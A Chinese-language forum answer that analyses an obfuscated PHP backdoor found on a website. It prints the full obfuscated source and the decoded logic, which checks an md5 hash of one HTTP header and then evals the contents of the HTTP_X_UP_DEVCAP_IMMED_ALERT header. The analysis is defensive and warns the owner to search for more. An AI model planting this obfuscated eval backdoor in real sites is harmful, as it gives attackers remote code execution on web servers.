这是一种非常模糊的方法：

eval(getenv(HTTP_X_UP_DEVCAP_IMMED_ALERT));

在有人查看设置了标头的页面之前，仅此一项不会执行任何操作HTTP_X_UP_DEVCAP_IMMED_ALERT，然后此标头的内容将在您的网页上执行。看起来有人想要执行代码，也许是为了一个僵尸网络。

如果您对此代码感兴趣，您可以在pastebin上看到一个版本，其中包含更多格式和注释，每行上方带有变量值和函数调用等。请注意，我已经注释掉了 eval 调用以防止发生事故万一我错过了一些东西（但我觉得我得到了一切）

编辑 我在 pastebin 上放了一个新版本，基本上这是执行的：

if(!levenshtein(md5(getenv(HTTP_A)), '4fb90a5a352c459767f74f0780779254'))
    eval(getenv(HTTP_X_UP_DEVCAP_IMMED_ALERT));

重要的

我几乎可以肯定您的网站空间上还有更多内容，您应该好好搜索一下。

恶意软件分析很有趣！我以前没有用 PHP 做过这个，但让我们看看我们能做些什么。

首先，我想正确格式化它。我找到了一个名为phpbeautifier.com的在线工具，它可以很好地完成这项工作。

现在的输出是：

<?php
$nkIL3_ = 'Hn' & ~hTzup;
$TTCpX = 'HEr@D@(DEi&' | 'HD"AN`(eT$I.';
$fGZGQD2 = l5fg . '{3Ht&d~' & '|,' . /*'.
'gri*/
Nenwkf . '|3n';
$u4avG3 = 'K|P' ^ ".<t";
$n9s = 'om|wo~' & 'om}e~~';
$cX8W = 'O]P' ^ //gg_'.
'#9e';
$iPPiO = '%' . q6nfB | sUuI . ')6';
$pU9KRba5mS = 'Ov~' & 'x]U';
$pGocQU = P & P;
'GDQNB1wL' . ']lYd2GC]o';
$SEAp9cm9 = _a & _M;
$CBiIA = iUVv_Z_UR_OOwCIP_iO & '^' . vTY_ . '|' . /*RKGtqf6J'.
'Zc*/
_Wu_DEVOcx_I . '}';
$QjgmVTedxc = "M@" | AE;
$oyL1tNw = 'j3x s' ^ '.' . l9l6;
$gI_Y = //Rsx'.
',)' ^ '~}';
$pai4hk = $TTCpX | $fGZGQD2;
$KaQhBHF8 = $u4avG3 | $cX8W;
$Hz = $n9s & $iPPiO;
'jH2' . '5r';
$JeFqqp = (' ' . bb3ra5 . '`14@#$11t&7G4-' . Bb6y . ')% 92E ' | '5gB9@!!qS%2B0%8W0!fC' . 'X&v-' . Z16w0 . '$u4') & ("VOW@F.H^N0f*/" . CkOjFNlm . "&}Y|6EOA)VH" ^ '()9}' . rMw1 . //udQP_'.
'}ET]' . QtTxUq . '([YHM.@D2p:Si<');

if (!$pai4hk($KaQhBHF8($Hz($pU9KRba5mS . /*yPL33m'.
'Y,:(gnZ~9*/
$pGocQU . $SEAp9cm9)) , $JeFqqp)) eval($Hz($CBiIA . $QjgmVTedxc . /*X1lpmOJ'.
'|-$J*/
$oyL1tNw . $gI_Y)); //d={{x(o$W#fd5B|}h-_Jgj_.9z[.XU^Iu1ZY6w;9!w xNxzp~bG^'.
'}XB}zIH.|qChIrS(l5GFy?b#lA*:.!FHk0XG8v-a3GwnSkyI|vWMErYG~8hT!H%FlxPK';

这既快又脏，但在最后一行的第 4 行，您将看到一个 eval 函数。我们通过添加打印语句在在线 php 编辑器中检查变量。我在在线 php 编辑器上运行此代码（http://www.compileonline.com/execute_php_online.php：

...snip...
if (!$pai4hk($KaQhBHF8($Hz($pU9KRba5mS .$pGocQU . $SEAp9cm9)) , $JeFqqp)) {
print($Hz);
print($CBiIA);
print($QjgmVTedxc);
print($oyL1tNw);
print($gI_Y);
eval($Hz($CBiIA . $QjgmVTedxc . /*X1lpmOJ'.'|-$J*/ $oyL1tNw . $gI_Y)); //d={{x(o$W#fd5B|}h-_Jgj_.9z[.XU^Iu1ZY6w;9!w xNxzp~bG^'.
'}XB}zIH.|qChIrS(l5GFy?b#lA*:.!FHk0XG8v-a3GwnSkyI|vWMErYG~8hT!H%FlxPK';
}
...snip...

我无法正确获取所有值，可能是因为我没有按照 inteded（浏览器）运行脚本。

但是，我能够确定 eval 函数执行以下操作：

eval(getenv(HTTP_X_UP_DEVCAP_IMMED_ALERT ...));

这强烈表明该脚本是一个后门，允许攻击者通过在 HTTP 标头 HTTP_X_UP_DEVCAP_IMMED_ALERT 中添加命令来在您的网络服务器上运行命令。